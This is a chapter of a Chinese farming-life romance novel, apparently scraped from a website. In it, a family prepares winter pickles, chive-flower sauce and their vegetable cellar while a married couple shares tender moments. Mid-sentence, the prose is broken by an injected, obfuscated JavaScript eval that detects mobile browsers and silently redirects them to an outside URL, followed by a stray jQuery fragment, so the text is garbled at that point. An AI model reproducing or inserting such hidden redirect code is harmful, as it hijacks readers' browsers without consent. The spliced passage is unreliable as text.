快到中午的时候,周秀娘回来了,手里还拎着一兜子粗盐。
正在院里坐着的方夏和李青梅见了,都起身去接,快到冬天了,家里腌菜需得用不少盐巴,每年都要备上许多。
腌菜用的盐巴是粗盐,都是块状的,量大价钱也便宜,不像炒菜做饭用的细盐,不用太讲究,只要能腌菜,到了冬天够家里人吃就行。
此地冬天时日漫长,到时候地里都冻上了,没新鲜菜吃,家家户户到了冬季都要备上许多腌菜和晒好的菜干菜条,才好熬过天寒地冻的冬日。
这几年风调雨顺,只要家里人勤快些,一般人家是不缺吃的用的,不似荒年,冬天没吃食没柴火烧,饿死冻死的都有。
“今日咱们吃个熬菜吧,就熬茴子白,昨日还有一条五花肉,咱熬菜时放进去,定是香喷喷的!”周秀娘说着,便朝灶房走去。
方夏也附和着:“娘,我看墙角那一溜南瓜都熟好了,再蒸个南瓜吧。”
“好!好!南瓜又甜又糯,我最爱吃了!”李青梅高兴道。
“数你会吃!”周秀娘嗔了一声,噗嗤笑了:“那就赶紧去墙根那挑个大的,一会儿咱蒸杂面馒头一块蒸上吃!”
“哎!知道了娘!”
待午饭做好,家里汉子们也都回来了,一家子自是热热闹闹坐在一起吃着饭,聊起地里的境况,也都个个满脸笑容。
他们家一共十五亩地,好地旱地各占一半,大部分都用来种黍子和莜麦,而谷子和高粱则各种了两亩,此外还有一亩黄豆,平日里若是想吃个豆腐豆皮之类的,也无需花钱买,只用家里的豆子去换就行。
“这几日太阳大,再晒足半个月,差不多就该收了。”李老爹吃过了饭,坐在堂屋门边搓草绳边说。
一家人都应着,想起丰收的喜悦,再苦再累也都不怕。
家里人多,年景好些,地里打下来的粮食才够吃,家里有粮心里不慌。
周秀娘收着碗筷,说道:“还有半个月呢,不急,午后去后院拾掇拾掇,眼看着韭菜花也都长差不多了,葱也该起了。”
他们家后院除了圈出来鸡鸭猪的小园子,多余的地则用来种韭菜和葱姜蒜这些,其余瓜果蔬菜则在前院拢成一畦一畦的。
方夏一边抹桌子一边想,可不是呢,白露都过了,是时候起葱了。
韭菜花摘下来,可以做韭菜花酱,咸香咸香的,可以用来夹馒头或是拌面条吃。此外,秋天的葱叶子又宽又长,可以用来腌着吃,都是冬日里好保存的酱菜。
说干就干,一家人吃过晌午饭也不歇,都拿着农具去了后院。
方夏和李青梅拿着小竹匾摘韭菜花和韭菜苔,一根韭菜苔上一朵花,韭菜花用来做酱,韭菜苔则拿来炒着吃。
李远山跟在他俩后边弯腰割韭菜。这韭菜开花后,韭菜叶就老了,再过些日子到了寒露就不能割了,需在冬天来临前留茬养根,好等明年继续割,
农活做惯了都有经验,李远山拿着镰刀割的快,韭菜留茬的高度要比平日里割的高些,割完今年的最后一茬等上两日还要再浇水施肥,韭菜方能平安过冬。
割下来的韭菜挑拣些嫩的家里吃,余下的老的黄的韭菜叶都拌到鸡食里去喂鸡鸭,一点儿也不浪费。
他们这边活少,不大一会儿功夫就做完了。
方夏将一整个竹匾的韭菜花洗干净放到屋檐下晾晒,又帮着摘葱叶去了。
那边李老爹带着两个小儿子已将葱都挖出来了,根浅的手拔即可,若是根深就得用铁锹挖,挖时也得注意不能将葱根挖断。
挖出来的葱整齐排在地上,李云山和李晓山就负责抖干净葱根部的土,李青梅则是挑拣出不好的葱叶另做一堆,清理好的葱要用干枯的叶子捆扎好,晾晒干后就能放到菜窖里了。
村子里家家户户院里都有菜窖,院子里向下挖个圆圆的深坑,窖口用石头架平整就行,可以存些南瓜、茴子白、萝卜、葱等蔬菜,否则冬日里苦寒,不多存些口粮可难熬得紧。
“咱家菜窖还没打扫开,老大下去看看。”周秀娘一边摘葱叶一边发话。
李远山将韭菜根部的土拢好后放下手里的铁锹,绕过关着鸡鸭的栅栏,就是他们家的菜窖了。
菜窖虽挨着后院墙,不过他家前年盖房子时垒砌的院墙高,能防贼,也不怕。
菜窖上盖着方方正正的一块木板,平时不过来也注意不到,李远山弓着腰右手使力将木板掀开,便露出来一个圆圆的洞口。
他抬眼望着方夏道:“拿个扫把来,我先下去,一会递给我就成。”
方夏应好,匆匆去耳房找扫院子的大扫把了。
菜窖的口子并不大,只能容一人通过,竖着向下的墙壁上交叉留出几个供人上下踩着的小坑。
这个菜窖约莫有一丈深,到底后又向周围拓开了一圈,菜窖底下很大,能存不少菜。
待方夏提着大扫把过来,李远山都快下到菜窖底了,他岔开双腿撑着墙壁,正好一伸手能接住方夏递下来的扫把,接着他单手撑壁,双腿一并跳到了菜窖底。
有木板盖着,菜窖里也并不多乱,只是大半年没怎么下来,去年存菜时的一些枯叶还在,略微扫一扫将菜窖底下弄平整就行。
待收拾利索,李远山踩着墙壁的小坑一步一步往上走,快爬到顶时,一抬眼便看见方夏正趴在菜窖口子上张望着,见自己快上来了朝着他还伸出胳膊。
方夏见李远山单手撑着菜窖的墙壁,另一只手还拿着大扫把,原想伸手接过扫把好让他上来,却不想李远山用本来撑着墙的手握住了自己,三两下便跳出了菜窖,而那把大扫帚还在他的胳膊下夹着。
众目睽睽之下被抓着手,方夏的脸霎时就红了,幸亏大家都忙着干活,并不曾发现他们交握在一起的手。
“我去放扫把。”语速极快地说完话,方夏抢过李远山手里的扫把就跑了,只留下菜窖旁站着的李远山,心里乐开了花。
-------------------------------------
今日韭菜择的多,周秀娘便说要做个素馅的韭菜盒子吃,方夏便揽过了做韭菜花酱的活儿。
韭菜花晾得差不多了,方夏择了块生姜来切碎,便要开始用石钵捣韭菜花,捣韭菜花时要时不时加盐和碎姜末,这样做出来的韭菜花酱更入味,也更好保存。
李远山走过来要帮着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292676|198528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捣韭菜花,让方夏坐在边上看着加调料就行。
捣碎的韭菜花味道很冲,他俩挨得近,时不时就要转过头打个喷嚏,回头时相视一笑,继续干活。
待韭菜花慢慢捣成深绿色的糊状就差不多了,方夏将石钵里的韭菜花酱挖到小罐子里,又将新的韭菜花倒进石钵里。
这样来回几次,小小一罐韭菜花酱就做好了。
“韭菜花只这么一点,分不出来两罐子,一会儿腌葱叶,给你做一罐子辣的吧。”方夏朝着身边的李远山说,“你要吃多辣的?”
李远山心里窃喜,面上却不显,家里平时不吃辣,也就上回赶集时他带着方夏去吃抿豆面,自己吃了不少辣酱,被方夏看到记住了。
他正要开口,不想灶房另一边和周秀娘包韭菜盒子的李青梅大声喊着:“夏哥哥总想着大哥,我不能吃辣!我要不辣的!”
李远山看了眼垂着头脸红红的人,扬声道:“都放辣的,一口也不给你吃。”
李青梅急了,回头就去找自己娘亲做主:“娘!你看大哥!”
“你夏哥哥能不想着你?等着便好。”说罢,呵呵笑着拍了拍闺女的手,眼里都是满意。
将盛韭菜花酱的罐子放在阴凉处,方夏起身去抱今日刚择下来的葱叶子。
秋季的大葱叶都老了,又宽又长,不比水灵灵的嫩葱叶炒菜好吃,若不摘下来,过几日就都干枯了,可农家人节俭惯了,一丝一毫的东西都要琢磨着做个吃食,从不浪费。
腌葱叶只取暗绿色的葱叶,不用葱白,摘下来的葱叶将尖上枯了的一截儿去掉,多过几遍水,洗去沾着的泥土就能做腌菜了。
李远山蹲在地上洗葱叶,洗好后就递给方夏。
而方夏站在案板前,动作麻利地将这些葱叶切成一段一段的放在一个大陶盆中,切好后就将捣碎的粗盐巴搅合进去,要入味还需用手不停揉搓抓匀才行。腌葱叶无需什么手艺,只要盐巴多能存得住就好。
待一坛子不辣的腌葱叶做好,方夏又捣了些生姜花椒和上次从大舅家拿回来的食茱萸,另做了一坛子辣味儿的才停手。
这些腌葱叶不仅能拿来就饭吃,做菜时挖上一勺子也是增香提味的。
亏得家里各种大大小的坛子罐子多,不然冬天囤各色腌菜都不够用的。
今日忙碌了一下午,晚饭吃得有些迟了,待一切收拾妥当天早就黑了。一家人便点着油灯挪去主屋的炕上去吃饭,一来暖和,二来也免去搬条凳的麻烦。
一大盆油汪汪的韭菜盒子端上来,满屋子都是油煎的焦香气味,一家人谁也顾不得说话,个个大口吞咽着,恨不得将舌头都吃进肚子里去。
桌上也没旁的菜,韭菜盒子里既有饭又有菜,能吃饱就知足了,等吃得差不多了,再热热地喝上一碗水溜溜缝,在这寒凉的秋夜里,整个人由内到外都被着暖意熏得舒展了。
吃罢晚饭,李远山和方夏各自洗漱了躺到被窝里,自那日两人圆房后,他们就只盖一床被子了,家里做的被子宽大厚实,两个人盖也不漏风,紧紧挨着还更暖和呢。
李远山很自觉,早早就伸手搂住了自家夫郎,嘴唇贴着人的脸蹭了蹭,心满意足地睡了。